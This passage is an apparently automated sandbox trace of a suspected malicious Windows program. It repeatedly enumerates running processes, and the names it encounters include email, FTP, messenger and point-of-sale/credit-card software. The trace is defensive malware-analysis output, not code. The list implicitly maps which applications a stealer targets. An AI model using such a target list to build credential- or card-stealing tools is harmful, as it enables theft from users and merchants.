szExeFile="fling.exe")) returned 1 [0256.123] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0256.127] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0256.129] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0256.131] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0256.133] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0256.135] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0256.137] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0256.140] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0256.142] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0256.144] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0256.146] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0256.148] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0256.150] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0256.152] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0256.155] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0256.157] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0256.159] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0256.160] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0256.163] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0256.166] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0256.168] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0256.204] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0256.206] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0256.208] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0256.210] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0256.211] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0256.213] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0256.215] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0256.217] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0256.219] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0256.220] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0256.222] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0256.224] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0256.226] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0256.228] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0256.230] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0256.231] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.233] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0256.235] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0256.237] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0256.239] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0256.242] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0256.245] CloseHandle (hObject=0x2200) returned 1 [0256.245] Sleep (dwMilliseconds=0x64) [0256.246] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0256.260] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.262] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.263] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.265] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.267] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.268] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.270] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.272] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.273] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.275] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.277] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.280] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.282] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.284] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.285] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.287] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.289] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.290] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.292] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.294] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.295] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0256.297] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.299] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.301] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0256.302] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0256.304] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0256.306] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0256.307] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0256.309] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0256.343] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0256.345] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.347] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.349] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0256.351] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.353] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.355] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0256.357] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0256.359] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0256.361] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0256.363] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0256.365] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0256.367] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: 